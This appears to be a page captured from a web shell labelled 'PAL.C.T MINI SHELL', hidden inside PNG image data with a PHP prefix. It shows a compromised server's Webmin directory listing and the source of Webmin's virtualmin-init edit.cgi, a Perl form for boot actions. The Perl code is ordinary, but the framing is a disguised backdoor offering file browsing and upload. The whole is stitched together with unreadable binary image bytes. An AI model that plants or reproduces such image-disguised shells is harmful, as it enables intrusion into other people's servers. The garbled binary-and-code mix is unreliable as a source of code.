php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/virtualmin-init/
upload
files >> //usr/libexec/webmin/virtualmin-init/edit.cgi

#!/usr/bin/perl
# Show a page for creating or editing a bootup action associated with
# some domain.

require './virtualmin-init-lib.pl';
&ReadParse();
$d = $in{'dom'} ? &virtual_server::get_domain($in{'dom'}) : undef;
&ui_print_header($d ? &virtual_server::domain_in($d) : undef,
		 $in{'new'} ? $text{'edit_title1'} : $text{'edit_title2'}, "");

if (!$in{'new'}) {
	# Get the existing action
	($init) = grep { $_->{'id'} eq $in{'id'} } 
		       &list_domain_actions($d);
	$init || &error($text{'edit_egone'});
	}
else {
	# Adding a new action
	$init = { 'status' => 1 };
	($tmpl) = grep { $_->{'id'} eq $in{'tmpl'} } &list_action_templates();
	if ($config{'mode'} eq 'smf' && !$tmpl) {
		$init->{'stop'} = ':kill';
		}
	}

print &ui_form_start("save.cgi", "post");
print &ui_hidden("new", $in{'new'});
print &ui_hidden("tmpl", $in{'tmpl'});
print &ui_hidden("id", $in{'id'});
if ($in{'dom'}) {
	print &ui_hidden("dom", $in{'dom'});
	}
print &ui_table_start($text{'edit_header'}, undef, 2);

# Domain selector, if needed
if (!$in{'dom'}) {
	@doms = grep { $_->{$module_name} &&
		       &virtual_server::can_edit_domain($_) }
		     &virtual_server::list_domains();
	print &ui_table_row($text{'edit_dom'},
		&ui_select("dom", undef,
			[ map { [ $_->{'id'}, $_->{'dom'} ] } @doms ]));
	}

# Action name
print &ui_table_row($text{'edit_name'},
	&ui_textbox("name", $init->{'name'}, 30));

# Description
print &ui_table_row($text{'edit_desc'},
	&ui_textbox("desc", $init->{'desc'}, 60));

# Enabled?
if (&can_start_actions()) {
	# Init mode, in which we can just control if started at boot
	print &ui_table_row($text{'edit_status'},
		&ui_yesno_radio("status", int($init->{'status'})));
	}
else {
	# SMF mode, in which we can see the real status
	my @opts = ( [ 1, $text{'yes'} ],
		     [ 0, $text{'no'} ] );
	if ($init->{'status'} == 2) {
		push(@opts, [ 2, $text{'edit_maint'} ]);
		}
	print &ui_table_row($text{'edit_status2'},
			    &ui_radio("status", $init->{'status'}, \@opts));
	if ($init->{'status'} == 2) {
		# Show failure log
		print &ui_table_row($text{'edit_startlog'},
			"<pre>".&html_escape($init->{'startlog'})."</pre>");
		}
	}

if ($tmpl) {
	# Adding from template .. show name
	print &ui_table_row($text{'edit_tmpl'}, $tmpl->{'desc'});

	# Show parameters
	for($i=0; defined($tmpl->{'pname_'.$i}); $i++) {
		$tt = $tmpl->{'ptype_'.$i};
		$tn = 'param_'.$tmpl->{'pname_'.$i};
		$of = $tmpl->{'popts_'.$i};
		@opts = $of ? &read_opts_file($of) : ( );
		print &ui_table_row($tmpl->{'pdesc_'.$i},
			$tt == 0 ? &ui_textbox($tn, undef, 50) :
			$tt == 1 ? &ui_textbox($tn, undef, 10) :
			$tt == 2 ? &ui_textbox($tn, undef, 50).
				    &file_chooser_button($tn) :
			$tt == 3 ? &ui_radio($tn, $opts[0]->[0], \@opts) :
			$tt == 4 ? &ui_select($tn, $opts[0]->[0], \@opts) :
				   undef);
		}

	# Show fixed code for start and stop
	$start = $tmpl->{'start'};
	$start = &substitute_template($start, $d) if ($d);
	print &ui_table_row($text{'edit_start'},
			    "<pre>".&html_escape($start)."</pre>");

	$stop = $tmpl->{'stop'};
	$stop = &substitute_template($stop, $d) if ($d);
	print &ui_table_row($text{'edit_stop'},
			    $stop eq ":kill" ? $text{'edit_stopkill'} :
				    "<pre>".&html_escape($stop)."</pre>");
	}
else {
	# Start code
	print &ui_table_row($text{'edit_start'},
		&ui_textarea("start", $init->{'start'}, 5, 80));

	# Stop code
	if ($config{'mode'} eq 'smf') {
		$stopdef = &ui_radio(
			     "stop_def", $init->{'stop'} eq ':kill' ? 1 : 0,
			     [ [ 1, $text{'edit_stopkill'} ],
			       [ 0, $text{'edit_stopbelow'} ] ])."<br>\n";
		}
	print &ui_table_row($text{'edit_stop'},
		$stopdef.
		&ui_textarea("stop", $init->{'stop'} eq ':kill' ? undef :
					$init->{'stop'}, 5, 80));

	# Current processes
	if (!$in{'new'}) {
		@procs = &get_started_processes($init);
		if (@procs) {
			@table = ( );
			foreach my $p (@procs) {
				push(@table, [ $p->{'pid'}, $p->{'cpu'},
					       $p->{'size'}, $p->{'args'} ]);
				}
			print &ui_table_row($text{'edit_procs'},
				&ui_columns_table(
				  [ $text{'edit_ppid'}, $text{'edit_pcpu'},
				    $text{'edit_psize'}, $text{'edit_pcmd'} ],
				  undef,
				  \@table));
			}
		}
	}

# SMF FMRI
if (!$in{'new'} && $init->{'fmri'}) {
	print &ui_table_row($text{'edit_fmri'},
			    "<tt>".&html_escape($init->{'fmri'})."</tt>");
	}

print &ui_table_end();
if ($in{'new'}) {
	print &ui_form_end([ [ "create", $text{'create'} ] ]);
	}
else {
	print &ui_form_end([ [ "save", $text{'save'} ],
			     [ "delete", $text{'delete'} ],
			     undef,
			     &can_start_actions() ? (
				     [ "startnow", $text{'edit_startnow'} ],
				     [ "stopnow", $text{'edit_stopnow'} ]
				     ) : ( )
			   ]);
	}

&ui_print_footer("index.cgi?dom=$in{'dom'}", $text{'index_return'});


y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`